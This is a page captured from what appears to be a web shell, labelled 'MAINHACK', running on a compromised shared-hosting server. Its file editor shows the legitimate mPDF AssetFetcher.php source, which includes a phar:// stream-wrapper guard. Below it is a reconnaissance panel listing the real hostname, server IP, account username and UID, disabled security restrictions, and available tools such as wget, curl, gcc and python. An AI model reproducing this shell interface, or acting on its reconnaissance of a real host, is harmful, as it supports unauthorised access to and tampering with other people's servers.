[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: AssetFetcher.php
<?php namespace Mpdf; use Mpdf\File\LocalContentLoaderInterface; use Mpdf\File\StreamWrapperChecker; use Mpdf\Http\ClientInterface; use Mpdf\Log\Context as LogContext; use Mpdf\PsrHttpMessageShim\Request; use Mpdf\PsrLogAwareTrait\PsrLogAwareTrait; use Psr\Log\LoggerInterface; class AssetFetcher implements \Psr\Log\LoggerAwareInterface { use PsrLogAwareTrait; private $mpdf; private $contentLoader; private $http; public function __construct(Mpdf $mpdf, LocalContentLoaderInterface $contentLoader, ClientInterface $http, LoggerInterface $logger) { $this->mpdf = $mpdf; $this->contentLoader = $contentLoader; $this->http = $http; $this->logger = $logger; } public function fetchDataFromPath($path, $originalSrc = null) { /** * Prevents insecure PHP object injection through phar:// wrapper * @see https://github.com/mpdf/mpdf/issues/949 * @see https://github.com/mpdf/mpdf/issues/1381 */ $wrapperChecker = new StreamWrapperChecker($this->mpdf); if ($wrapperChecker->hasBlacklistedStreamWrapper($path)) { throw new \Mpdf\Exception\AssetFetchingException('File contains an invalid stream. Only ' . implode(', ', $wrapperChecker->getWhitelistedStreamWrappers()) . ' streams are allowed.'); } if ($originalSrc && $wrapperChecker->hasBlacklistedStreamWrapper($originalSrc)) { throw new \Mpdf\Exception\AssetFetchingException('File contains an invalid stream. Only ' . implode(', ', $wrapperChecker->getWhitelistedStreamWrappers()) . ' streams are allowed.'); } $this->mpdf->GetFullPath($path); return $this->isPathLocal($path) || ($originalSrc !== null && $this->isPathLocal($originalSrc)) ? $this->fetchLocalContent($path, $originalSrc) : $this->fetchRemoteContent($path); } public function fetchLocalContent($path, $originalSrc) { $data = ''; if ($originalSrc && $this->mpdf->basepathIsLocal && $check = @fopen($originalSrc, 'rb')) { fclose($check); $path = $originalSrc; $this->logger->debug(sprintf('Fetching content of file "%s" with local basepath', $path), ['context' => LogContext::REMOTE_CONTENT]); return $this->contentLoader->load($path); } if ($path && $check = @fopen($path, 'rb')) { fclose($check); $this->logger->debug(sprintf('Fetching content of file "%s" with non-local basepath', $path), ['context' => LogContext::REMOTE_CONTENT]); return $this->contentLoader->load($path); } return $data; } public function fetchRemoteContent($path) { $data = ''; try { $this->logger->debug(sprintf('Fetching remote content of file "%s"', $path), ['context' => LogContext::REMOTE_CONTENT]); /** @var \Mpdf\PsrHttpMessageShim\Response $response */ $response = $this->http->sendRequest(new Request('GET', $path)); if (!str_starts_with((string) $response->getStatusCode(), '2')) { $message = sprintf('Non-OK HTTP response "%s" on fetching remote content "%s" because of an error', $response->getStatusCode(), $path); if ($this->mpdf->debug) { throw new \Mpdf\MpdfException($message); } $this->logger->info($message); return $data; } $data = $response->getBody()->getContents(); } catch (\InvalidArgumentException $e) { $message = sprintf('Unable to fetch remote content "%s" because of an error "%s"', $path, $e->getMessage()); if ($this->mpdf->debug) { throw new \Mpdf\MpdfException($message, 0, E_ERROR, null, null, $e); } $this->logger->warning($message); } return $data; } public function isPathLocal($path) { return str_starts_with($path, 'file://') || strpos($path, '://') === false; // @todo More robust implementation } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.85 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285